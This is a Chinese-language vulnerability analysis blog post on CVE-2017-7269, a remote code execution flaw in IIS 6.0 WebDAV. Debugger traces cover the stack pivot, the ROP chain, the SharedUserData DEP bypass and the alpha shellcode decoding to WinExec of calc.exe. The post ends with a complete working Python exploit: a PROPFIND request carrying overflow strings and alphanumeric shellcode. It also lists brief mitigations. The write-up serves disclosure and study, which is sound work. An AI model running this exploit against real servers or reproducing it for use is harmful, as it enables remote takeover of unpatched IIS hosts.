和大家分享了这个精妙利用,一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用,实际上,在第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了stackbuffer申请的指向栈buffer的指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb拷贝的时候,是向一个堆地址拷贝,这个堆地址后面的偏移中,存放着IEcb的vftable,通过覆盖虚表虚函数,在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。

而这个过程,也是巧妙的绕过了GS的检查。


简析ROP及shellcode

这个漏洞使用了一些非常有意思的手法,一个是TK教主在13年安全会议上提到的shareduserdata,在ROP中,另一个是alpha shellcode。

首先,在前面虚函数执行之后,会先进行stack pivot,随后进入rop。

0:009>t//stackpivot!!! eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016082esp=00fff4b0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x42: 680160828be1movesp,ecx 0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016084esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x44: 680160848b08movecx,dwordptr[eax]ds:0023:680313c0=680313c0 0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016086esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x46: 680160868b4004moveax,dwordptr[eax+4]ds:0023:680313c4=68006e4f 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68016089esp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x49: 6801608950pusheax 0:009>p//ROPChain eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=6801608aesp=680313bcebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!_alloca_probe+0x4a: 6801608ac3ret 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=68006e4fesp=680313c0ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3b: 68006e4f5epopesi 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e50esp=680313c4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3c: 68006e505dpopebp 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e51esp=680313c8ebp=68006e4fiopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3d: 68006e51c22000ret20h 0:009>p eax=68006e4febx=00fffbe8ecx=680313c0edx=00fff4f8esi=680313c0edi=680313c0 eip=68006e4fesp=680313ecebp=68006e4fiopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!CPEncrypt+0x3b: 68006e4f5epopesi

经过一系列ROP之后,会进入KiFastSystemCall,这是利用SharedUserData bypass DEP的一环。

0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3 eip=680124e3esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!HmacCheck+0x2c3: 680124e3ff23jmpdwordptr[ebx]ds:0023:7ffe0300={ntdll!KiFastSystemCall(7c8285e8)} 0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=00fff4f8esi=68031460edi=680124e3 eip=7c8285e8esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 ntdll!KiFastSystemCall: 7c8285e88bd4movedx,esp 0:009>p eax=0000008febx=7ffe0300ecx=680313c0edx=68031400esi=68031460edi=680124e3 eip=7c8285eaesp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 ntdll!KiFastSystemCall+0x2: 7c8285ea0f34sysenter 0:009>p eax=00000000ebx=7ffe0300ecx=00000001edx=ffffffffesi=68031460edi=680124e3 eip=68031460esp=68031404ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!g_pfnFree+0x1a4: 6803146056pushesi 0:009>dc68031460 6803146000560056004100590034003400340034V.V.Y.A.4.4.4.4. 68031470003400340034003400340034004100514.4.4.4.4.4.Q.A.

之后进入alpha shellcode,这时候68031460作为shareduserdata,已经具备可执行权限。

FailedtomapHeaps(error80004005) Usage:Image AllocationBase:68000000 BaseAddress:68031000 EndAddress:68032000 RegionSize:00001000 Type:01000000MEM_IMAGE State:00001000MEM_COMMIT Protect:00000040PAGE_EXECUTE_READWRITE有了可执行权限

这里由于url存入内存按照宽字节存放,因此都是以00 xx方式存放,因此不能单纯使用shellcode,而得用alpha shellcode(结尾基友用了另一种方法执行shellcode,大家可以看下),alpha shellcode会先执行一段操作。随后进入解密部分。

0:009>p eax=059003d9ebx=7ffe0300ecx=68031585edx=68031568esi=68031460edi=680124e3 eip=6803154eesp=68031400ebp=6e6f3176iopl=0nvupeingnzacponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000292 rsaenh!g_pfnFree+0x292: 6803154e41incecx 0:009>p eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=6803154fesp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 rsaenh!g_pfnFree+0x293: 6803154f004200addbyteptr[edx],alds:0023:68031568=e3 0:009>p eax=059003d9ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031552esp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283 rsaenh!g_pfnFree+0x296: 680315526b0110imuleax,dwordptr[ecx],10hds:0023:68031586=00540032 0:009>p eax=05400320ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031555esp=68031400ebp=6e6f3176iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 rsaenh!g_pfnFree+0x299: 68031555024102addal,byteptr[ecx+2]ds:0023:68031588=54 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=68031558esp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29c: 680315588802movbyteptr[edx],alds:0023:68031568=bc 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031568esi=68031460edi=680124e3 eip=6803155aesp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29e: 6803155a42incedx 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3 eip=6803155besp=68031400ebp=6e6f3176iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x29f: 6803155b803941cmpbyteptr[ecx],41hds:0023:68031586=32 0:009>p eax=05400374ebx=7ffe0300ecx=68031586edx=68031569esi=68031460edi=680124e3 eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapocy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000283 rsaenh!g_pfnFree+0x2a2: 6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1] 0:009>dd68031580 680315800038005900320059004d0054004a0054 68031590003100540030004d0037003100360059 680315a0003000510030003100300031004c0045 680315b0004b005300300053004c004500330053

可以看到,解密前,alpha shellcod部分,随后解密结束之后。

0:009>p eax=04d0035debx=7ffe0300ecx=68031592edx=6803156cesi=68031460edi=680124e3 eip=6803155eesp=68031400ebp=6e6f3176iopl=0nvupeingnznapecy cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000287 rsaenh!g_pfnFree+0x2a2: 6803155e75e2jnersaenh!g_pfnFree+0x286(68031542)[br=1] 0:009>bp68031560 0:009>g Breakpoint2hit eax=00000410ebx=7ffe0300ecx=680318daedx=6803163eesi=68031460edi=680124e3 eip=68031560esp=68031400ebp=6e6f3176iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 rsaenh!g_pfnFree+0x2a4: 68031560b8b726bfcamoveax,0CABF26B7h 0:009>dd68031580 68031580223cec9b265a2caa6a289c9c9f7c5610 6803159090a91aa39f8f9004beec89956120d015 680315a060351b2430b44661a56b0c3a4eb0584f 680315b0b3b04c0365916fd3873136689f7842bd 680315c014326fa2fcc51b10c16ae46905721746 680315d07f01c860441275935f97a1ee840f2148 680315e04fd6e669089c436523715269e474df95

shellcode已经被解密出来,随后会调用winexec,执行calc。

0:009>p eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3 eip=680315f9esp=680313fcebp=68031581iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x33d: 680315f951pushecx 0:009>p eax=77ea411eebx=7ffe0300ecx=68031614edx=876f8b31esi=68031460edi=680124e3 eip=680315faesp=680313f8ebp=68031581iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 rsaenh!g_pfnFree+0x33e: 680315faffe0jmpeax{kernel32!WinExec(77ea411e)} 0:009>ddesp 680313f868031614680316330000000100000000 0:009>dc68031633l2 68031633636c61636578652ecalc.exe

第二个参数是0x1,是SW_SHOWNORMAL,但由于服务无窗口,因此calc无法弹出。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

其实,这个过程可以替换成其他的shellcode,相关的shellcode替换链接可以看我的好基友LCatro的几篇文章,都非常不错。

https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

最后我想说,我在深圳,刚才和几个平时网上的好朋友吃夜宵,聊到这个漏洞,没想到在几个小时前认识的彭博士,就是这个漏洞的作者!真的没有想到,还好自己分析的这套思路和这个漏洞作者的思路相差无几,不然就被打脸了。真的很有缘!一下学到了好多。

这篇最后还是没有按时发出,不过希望能和大家一起学习!谢谢阅读!


PoC(来源网络https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)

#------------OurpayloadsetupaROPchainbyusingtheoverflow3times.Itwilllaunchacalc.exewhichshowsthebugisreallydangerous. #writtenbyZhiniangPengandChenWu.InformationSecurityLab&SchoolofComputerScience&Engineering,SouthChinaUniversityofTechnologyGuangzhou,China #-----------Email:edwardz@foxmail.com importsocket sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('127.0.0.1',80)) pay='PROPFIND/HTTP/1.1\r\nHost:localhost\r\nContent-Length:0\r\n' pay+='If:<http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+='(Not<locktoken:write1>)<http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>\r\n\r\n' printpay sock.send(pay) data=sock.recv(80960) printdata sock.close

验证截图


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

临时解决办法

1.关闭WebDAV服务
2.使用相关防护设备

参考

https://github.com/edwardz246003/IIS_exploit/


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit
【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3664.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles